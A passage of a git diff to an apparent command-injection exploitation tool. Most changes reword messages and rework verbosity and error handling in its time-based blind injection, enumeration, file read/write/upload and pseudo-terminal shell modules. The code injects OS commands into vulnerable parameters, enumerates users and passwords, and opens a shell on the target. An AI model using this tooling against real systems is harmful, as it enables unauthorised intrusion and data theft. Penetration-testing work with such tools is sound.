check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
- print(settings.SINGLE_WHITESPACE)
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
check_how_long = 0
if len(output) > 1:
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
- print(settings.command_execution_output(output))
- print(settings.SINGLE_WHITESPACE)
+ _ = "'" + cmd + "' execution output"
+ print(settings.print_retrieved_data(_, output))
else:
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
+ print(settings.print_error_msg(err_msg))
return check_how_long, output
"""
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- if settings.ENUMERATION_DONE:
- settings.ENUMERATION_DONE = False
-
+ def reset():
+ if settings.ENUMERATION_DONE:
+ settings.ENUMERATION_DONE = False
+
+ reset()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
+ info_msg = "Fetching powershell version."
+ print(settings.print_info_msg(info_msg))
powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
if menu.options.hostname:
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
+ info_msg = "Fetching hostname."
+ print(settings.print_info_msg(info_msg))
hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
if menu.options.current_user:
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
+ info_msg = "Fetching current user."
+ print(settings.print_info_msg(info_msg))
current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
+
+ if menu.options.is_root or menu.options.is_admin:
+ if settings.ENUMERATION_DONE:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Testing if current user has excessive privileges."
+ print(settings.print_info_msg(info_msg))
+ check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ reset()
if menu.options.sys_info:
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
+ info_msg = "Fetching the underlying operating system information."
+ print(settings.print_info_msg(info_msg))
system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
if menu.options.users:
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
if menu.options.passwords:
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- if settings.ENUMERATION_DONE == False:
- settings.ENUMERATION_DONE = True
+ reset()
# eof
\ No newline at end of file
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index fbbdb14088..6e98e94f6b 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -33,7 +33,7 @@
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching the content of the file '"
+ info_msg = "Fetching content of the file: '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
@@ -57,14 +57,12 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "Fetched content of the file '"
- info_msg += file_to_read + "'."
- print(settings.print_bold_info_msg(info_msg))
- print(settings.print_sub_content(shell))
+ _ = "Fetched file content"
+ print(settings.print_retrieved_data(_, shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
+ info_msg += file_to_read + "' : " + shell + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -144,7 +142,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
shell = "".join(str(p) for p in shell)
# Check if file exists
cmd = "echo $(ls " + dest_to_write + ")"
- print(settings.SINGLE_WHITESPACE)
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = output
try:
@@ -153,8 +152,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
pass
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
- # else:
- # sys.stdout.flush()
if shell:
info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
@@ -167,7 +164,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
"""
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
- # Not yet implemented
+ check_option = "--file-upload"
+ checks.unavailable_option(check_option)
pass
else:
file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
@@ -206,7 +204,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
- print(settings.SINGLE_WHITESPACE)
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = output
try:
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 7f712877db..e37e21d04a 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -135,15 +135,9 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
- # Check if defined "--verbose" option.
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
- payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write(settings.print_payload(payload_msg) + "\n")
# Cookie header injection
if settings.COOKIE_INJECTION == True:
@@ -299,10 +293,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
- except KeyboardInterrupt:
- raise
-
- except SystemExit:
+ except (KeyboardInterrupt, SystemExit):
+ print(settings.SINGLE_WHITESPACE)
raise
except EOFError:
@@ -396,12 +388,13 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
checks.total_of_requests()
- # Print the findings to terminal.
- info_msg = "The"
+ finding = ""
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
- info_msg += " " + http_request_method
- info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
- info_msg += found_vuln_parameter + " seems injectable via "
+ finding += http_request_method
+ finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter
+
+ # Print the findings to terminal.
+ info_msg = finding + " appears to be injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
@@ -414,19 +407,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
settings.LOAD_SESSION = False
- new_line = True
+ _ = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
+ _ = True
while True:
- message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
- enumerate_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and enumerate again? [y/N] > "
+ enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
break
elif enumerate_again in settings.CHOICE_NO:
- new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
@@ -436,22 +429,23 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
pass
else:
if menu.enumeration_options():
+ _ = True
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ if settings.FILE_ACCESS_DONE == False and _ == False:
+ print(settings.SINGLE_WHITESPACE)
+
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
- if settings.ENUMERATION_DONE == True and new_line:
- print(settings.SINGLE_WHITESPACE)
while True:
- message = "Do you want to ignore stored session and access files again? [Y/n] > "
- file_access_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and access files again? [y/N] > "
+ file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
- new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
@@ -460,39 +454,36 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
print(settings.print_error_msg(err_msg))
pass
else:
- if not new_line:
- print(settings.SINGLE_WHITESPACE)
- tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ if menu.file_access_options():
+ tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- # Export injection result
- #tb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Pseudo-Terminal shell
- go_back = False
- go_back_again = False
- while True:
- if go_back == True:
- break
- message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
- gotshell = common.read_input(message, default="Y", check_batch=True)
- else:
- gotshell = common.read_input(message, default="n", check_batch=True)
- if gotshell in settings.CHOICE_YES:
- print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
- if settings.READLINE_ERROR:
- checks.no_readline_module()
- while True:
- if false_positive_warning:
- warn_msg = "Due to unexpected time delays, it is highly "
- warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- false_positive_warning = False
- try:
+ try:
+ go_back = False
+ go_back_again = False
+ while True:
+ if go_back == True:
+ break
+ message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
+ if gotshell in settings.CHOICE_YES:
+ print(settings.OS_SHELL_TITLE)
+ if settings.READLINE_ERROR:
+ checks.no_readline_module()
+ while True:
+ if false_positive_warning:
+ warn_msg = "Due to unexpected time delays, it is highly "
+ warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
+ sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
+ false_positive_warning = False
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
@@ -515,42 +506,37 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- print("\n" + settings.print_output(output))
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_output(output))
+ print(settings.SINGLE_WHITESPACE)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
- print(settings.SINGLE_WHITESPACE)
-
- except KeyboardInterrupt:
- raise
-
- except SystemExit:
- raise
-
- except EOFError:
- if not settings.IS_TTY:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "Exiting, due to EOFError."
- print(settings.print_error_msg(err_msg))
- raise
+ elif gotshell in settings.CHOICE_NO:
+ if checks.next_attack_vector(technique, go_back) == True:
+ break
+ else:
+ if no_result == True:
+ return False
+ else:
+ return True
+ elif gotshell in settings.CHOICE_QUIT:
+ raise SystemExit()
- elif gotshell in settings.CHOICE_NO:
- if checks.next_attack_vector(technique, go_back) == True:
- break
else:
- if no_result == True:
- return False
- else:
- return True
-
- elif gotshell in settings.CHOICE_QUIT:
- raise SystemExit()
+ err_msg = "'" + gotshell + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+ # break
- else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
- break
-
+ except (KeyboardInterrupt, SystemExit):
+ raise
+
+ except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
+ err_msg = "Exiting, due to EOFError."
+ print(settings.print_error_msg(err_msg))
+ raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index 2b2efb2734..da07a0d376 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -182,10 +182,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
found_chars = False
info_msg = "Retrieving the length of execution output. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- if settings.VERBOSITY_LEVEL >= 2:
- print(settings.SINGLE_WHITESPACE)
+ print(settings.print_info_msg(info_msg))
for output_length in range(int(minlen), int(maxlen)):
if alter_shell:
# Execute shell commands on vulnerable host.
@@ -204,15 +201,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
- payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write("\n" + settings.print_payload(payload_msg))
- # Check if defined "--verbose" option.
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write(settings.print_payload(payload_msg) + "\n")
+ print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
@@ -244,13 +235,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if injection_check == True:
if output_length > 1:
- if settings.VERBOSITY_LEVEL != 0:
- pass
- else:
- sys.stdout.write(settings.SUCCESS_STATUS + "\n")
- sys.stdout.flush()
- if settings.VERBOSITY_LEVEL == 1:
- print(settings.SINGLE_WHITESPACE)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Retrieved the length of execution output: " + str(output_length)
print(settings.print_bold_debug_msg(debug_msg))
@@ -274,8 +258,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
info_msg = "Presuming the execution output."
if settings.VERBOSITY_LEVEL == 0 :
info_msg += ".. (" + str(percent) + ")"
- elif settings.VERBOSITY_LEVEL == 1 :
- info_msg += ""
else:
info_msg += "\n"
if output_length > 1:
@@ -301,15 +283,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
- payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write("\n" + settings.print_payload(payload_msg))
- # Check if defined "--verbose" option.
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write(settings.print_payload(payload_msg) + "\n")
+ print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
@@ -367,17 +343,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
else:
check_start = 0
- if settings.VERBOSITY_LEVEL == 0:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
- else:
- pass
-
check_how_long = 0
output = False
- if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
- print(settings.SINGLE_WHITESPACE)
return check_how_long, output
"""
@@ -393,11 +361,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"
found_chars = False
- debug_msg = "Checking the reliability of the used payload "
- debug_msg += "in case of a false positive result. "
- if settings.VERBOSITY_LEVEL != 0:
- sys.stdout.write(settings.print_debug_msg(debug_msg))
- sys.stdout.flush()
+ checks.check_for_false_positive_result()
# Varying the sleep time.
timesec = timesec + random.randint(1, 5)
@@ -421,15 +385,9 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write("\n" + settings.print_payload(payload_msg))
- # Check if defined "--verbose" option.
- elif settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Generating payload for testing the reliability of used payload."
- print("\n" + settings.print_debug_msg(debug_msg))
- payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write(settings.print_payload(payload_msg) + "\n")
+ print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
@@ -492,15 +450,9 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
- payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write("\n" + settings.print_payload(payload_msg))
- # Check if defined "--verbose" option.
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for testing the reliability of used payload."
- print(settings.print_debug_msg(debug_msg))
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write(settings.print_payload(payload_msg) + "\n")
+ print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
@@ -538,8 +490,6 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
- if settings.VERBOSITY_LEVEL == 1:
- print(settings.SINGLE_WHITESPACE)
return how_long, output
else:
if settings.VERBOSITY_LEVEL < 2:
@@ -552,15 +502,13 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
Export the injection results
"""
def export_injection_results(cmd, separator, output, check_how_long):
-
if output != "" and check_how_long != 0 :
+ print(settings.SINGLE_WHITESPACE)
if settings.VERBOSITY_LEVEL == 0:
- print("\n")
- elif settings.VERBOSITY_LEVEL == 1:
- print(settings.SINGLE_WHITESPACE)
+ print(settings.SINGLE_WHITESPACE)
print(settings.print_output(output))
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "."
- sys.stdout.write("\n" + settings.print_info_msg(info_msg))
+ sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n")
else:
# Check if exists pipe filtration.
if output != False :
@@ -572,8 +520,8 @@ def export_injection_results(cmd, separator, output, check_how_long):
raise SystemExit()
# Check for fault command.
else:
- err_msg = "The '" + cmd + "' command, does not return any output."
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
- sys.stdout.write("\r" + settings.print_critical_msg(err_msg))
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
+ sys.stdout.write("\r" + settings.print_error_msg(err_msg))
# eof
\ No newline at end of file
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index a4d8d715ff..ffb04b0018 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -75,28 +75,6 @@ def mobile_user_agents():
print(settings.print_error_msg(err_msg))
pass
-"""
-The available mobile user agents.
-"""
-def mobile_user_agents():
- menu.mobile_user_agents()
- while True:
- message = "Which smartphone do you want to imitate through HTTP User-Agent header? > "
- mobile_user_agent = common.read_input(message, default="1", check_batch=True)
- try:
- if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)):
- return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)]
- elif mobile_user_agent.lower() == "q":
- raise SystemExit()
- else:
- err_msg = "'" + mobile_user_agent + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
- except ValueError:
- err_msg = "'" + mobile_user_agent + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
-
"""
Check for HTTP Method
"""
@@ -120,7 +98,6 @@ def user_aborted(filename, url):
abort_msg = "User aborted procedure "
abort_msg += "during the " + assessment_phase()
abort_msg += " phase (Ctrl-C was pressed)."
- print(settings.SINGLE_WHITESPACE)
print(settings.print_abort_msg(abort_msg))
logs.print_logs_notification(filename, url)
os._exit(0)
@@ -334,7 +311,7 @@ def page_encoding(response, action):
except Exception as ex:
if settings.PAGE_COMPRESSION is None:
warn_msg = "Turning off page compression."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
settings.PAGE_COMPRESSION = False
try:
if action == "encode" and type(page) == str:
@@ -403,7 +380,19 @@ def captcha_check(page):
print(settings.SINGLE_WHITESPACE)
print(settings.print_bold_warning_msg(warn_msg))
break
-
+
+"""
+Checking the reliability of the used payload message.
+"""
+def check_for_false_positive_result():
+ debug_msg = "A potential injection point has been detected. "
+ debug_msg += "Checking the reliability of the used payload "
+ debug_msg += "in case of a false positive result. "
+ # Check if defined "--verbose" option.
+ if settings.VERBOSITY_LEVEL != 0:
+ sys.stdout.write(settings.print_bold_debug_msg(debug_msg))
+ print(settings.SINGLE_WHITESPACE)
+
"""
Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase.
"""
@@ -487,7 +476,7 @@ def check_injection_level():
"""
def next_attack_vector(technique, go_back):
while True:
- message = "Continue with testing the " + technique + "? [y/N] > "
+ message = "Do you want to continue with testing the " + technique + "? [y/N] > "
next_attack_vector = common.read_input(message, default="N", check_batch=True)
if next_attack_vector in settings.CHOICE_YES:
# Check injection state
@@ -632,8 +621,8 @@ def continue_tests(err):
Check if option is unavailable
"""
def unavailable_option(check_option):
- warn_msg = "The '" + check_option + "' option "
- warn_msg += "is not yet available for windows targets."
+ warn_msg = "The option '" + check_option + "' "
+ warn_msg += "is not yet available for Windows targets."
print(settings.print_warning_msg(warn_msg))
"""
@@ -1342,6 +1331,23 @@ def recognise_payload(payload):
if encode_type == 'hexencode':
hex_output(payload)
+ if is_decoded:
+ while True:
+ message = "The provided parameter appears to be '" + str(encode_type).split("encode")[0] + "' encoded. "
+ message += "Do you want to process it encoded? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
+ break
+ elif procced_option in settings.CHOICE_NO:
+ settings.MULTI_ENCODED_PAYLOAD.remove(encode_type)
+ break
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + procced_option + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+
if is_decoded:
return _urllib.parse.quote(decoded_payload), encoded_with
else:
@@ -1638,7 +1644,7 @@ def generate_char_pool(num_of_chars):
else:
# Checks {a..z},{A..Z},{0..9},{Symbols}
char_pool = list(range(96, 122)) + list(range(65, 90))
- char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 95)) + list(range(58, 64)) + list(range(123, 127))
+ char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127))
return char_pool
"""
@@ -1708,20 +1714,20 @@ def check_wrong_flags():
if settings.TARGET_OS == "win":
if menu.options.is_root :
warn_msg = "Swithing '--is-root' to '--is-admin' because the "
- warn_msg += "target has been identified as windows."
+ warn_msg += "target has been identified as Windows."
print(settings.print_warning_msg(warn_msg))
if menu.options.passwords:
warn_msg = "The '--passwords' option, is not yet available for Windows targets."
print(settings.print_warning_msg(warn_msg))
if menu.options.file_upload :
- warn_msg = "The '--file-upload' option, is not yet available for windows targets. "
+ warn_msg = "The '--file-upload' option, is not yet available for Windows targets. "
warn_msg += "Instead, use the '--file-write' option."
print(settings.print_warning_msg(warn_msg))
raise SystemExit()
else:
if menu.options.is_admin :
warn_msg = "Swithing the '--is-admin' to '--is-root' because "
- warn_msg += "the target has been identified as unix-like. "
+ warn_msg += "the target has been identified as Unix-like. "
print(settings.print_warning_msg(warn_msg))
"""
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index ee24a265bb..f0f54c3c9d 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -352,7 +352,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
modules_handler.load_modules(url, http_request_method, filename)
checks.tamper_scripts(stored_tamper_scripts=False)
- info_msg = "Setting the"
+ info_msg = "Setting"
if not header_name == " cookie" and not the_type == " HTTP header":
info_msg += " " + str(http_request_method) + ""
info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
@@ -367,10 +367,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
debug_msg = "Skipping heuristic (basic) tests to the target URL."
print(settings.print_debug_msg(debug_msg))
else:
- decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE)
- if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0:
- warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded."
- print(settings.print_warning_msg(warn_msg))
+ if not settings.LOAD_SESSION:
+ checks.recognise_payload(payload=settings.TESTABLE_VALUE)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Performing heuristic (basic) tests to the target URL."
print(settings.print_debug_msg(debug_msg))
@@ -857,9 +855,8 @@ def do_check(url, http_request_method, filename):
print(settings.print_critical_msg(err_msg))
logs.print_logs_notification(filename, url)
- if not settings.MULTI_TARGETS:
- print(settings.SINGLE_WHITESPACE)
-
+ # if not settings.MULTI_TARGETS:
+ # print(settings.SINGLE_WHITESPACE)
if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS:
raise SystemExit()
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 7308d3a709..ef5dd22eee 100755
